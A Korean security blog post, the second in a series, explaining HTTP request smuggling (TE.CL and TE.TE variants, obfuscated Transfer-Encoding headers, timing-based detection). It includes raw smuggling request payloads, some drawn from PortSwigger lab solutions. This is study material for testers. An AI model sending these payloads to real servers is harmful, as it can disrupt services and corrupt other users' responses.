HTTP request Smuggling 취약점 2

2021.09.01 - [WEB] - HTTP request Smuggling 취약점 1

 

기존 글에 이어서 TE.CL 취약점, TE.TE취약점

 

1) TE.CL 취약점

프론트서버는 TE를 사용하고 백엔드서버는 CL 사용하여 request의 종료를 판단하는 경우

 

POST / HTTP/1.1 Host: website.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0

 

프론트서버는 TE로 처리 하기 때문에 메시지 바디를 chunked encoding 방법으로 처리 한다.

첫번째 chunk는 8bytes로 SMUGGLED까지 인식하여 처리하고 두번째 chunk는 0 lenth로 request가 종료되었다고 판단 된다.

백엔드서버는 CL로 처리 하기 때문에 request body가 3bytes라고 인식하여 처리한다. 8 - 3bytes 

 

* portswigger lab solution 발췌

POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0

위와같이 기존 GET 요청을 POST로 수정하고 Content-Length는 4 5c\r\n

Transfer-encoding으로는 5c, 0에서 종료

 

서버측에서는 CL로 처리 하기 때문에 POST와 GPOST라는 요청을 받은 격이됨

 

서버는 '부적절한 Method GPOST라는 메시지를 전달' (Lab 문제 기준)

 

 

2) TE.TE 취약점 

프론트와 백엔드 모두 TE방식을 사용하지만, 헤더가 난독화 되어 처리 할 수 없는 경우 발생할 수 있는 취약점

 

 

Transfer-Encoding 헤더 난독화 예시

Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked

 

Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-encoding: hola\r\n \r\n 12\r\n GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n

 

위와 같은 요청을 2번 전송시, 처리 하지 못하고 GPOST 메소드 에러를 반환하게 된다.

 

 

How to detect HTTP request smuggling 취약점

 

가장 효과적인 방법은 time delay 응답을 일으키는 것이다. 

 

1) CL.TE 취약점 찾기

 

POST / HTTP/1.1 Host: website.com Transfer-Encoding: chunked Content-Length: 4 1 A X

위와 같은 코드를 보내면 취약점이 있는 경우 시간지연이 발생된다.

 

프론트서버는 1,A만 처리

백엔드 서버는 요청 끝을 알리는 0이 도달하기 까지 기다리다 응답을 전송하기 때문에 시간지연이 발생한다.

 

 

2) TE.CL 취약점 찾기

 

POST / HTTP/1.1 Host: website.com Transfer-Encoding: chunked Content-Length: 5 0 X

프론트 서버는 0을 받아 처리하고 백엔드 서버는 content length 5 bytes에 따라 처리해야하는데 5bytes 양의 데이터를 위해 기다리는 시간이 발생하기때문에 time delay가 성립된다.

 

 

 

취약점 진단 확인

 

1) 정상적인 코드와 비정상적인 코드를 보내 값을 비교한다.

2) CL.TE 인경우 message body 값에 GET / 404 HTTP/1.1 \r\n Foo: x 를 추가하여 전송하여 404를 반환하게 한다.

3) TE.CL 인경우

POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 7c GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 144 x= 0

 

 

취약점 찾을 때 주의사항

1) 각각 다른 네트워크를 사용해야한다. (정상/비정상 요청)

2) 정상적인 요청에서는 URL과 파라미터 name을 변경하지 않는다.

3) 다른 요청들보다 먼저 응답을 받아야 한다. (일반적인 경우 타 사용자에게 응답이 갈 수 있음)

4) 프론트 서버가 로드 밸런서 역할을 하는 경우 여러번에 걸쳐서 테스트를 해야한다. (요청이 각각 다른 서버로 갈 수 있기 때문)

5) 비정상 요청시 200 응답을 받았다면, 다른 유저에게 영향이 갔을 수도 있다. 이러한 경우 때문에 주의를 해야한다.

 

 

HTTP reqeust smuggling을 이용한 침투 테스트, 대응방안은 다음 포스팅

 

출처: portswigger.net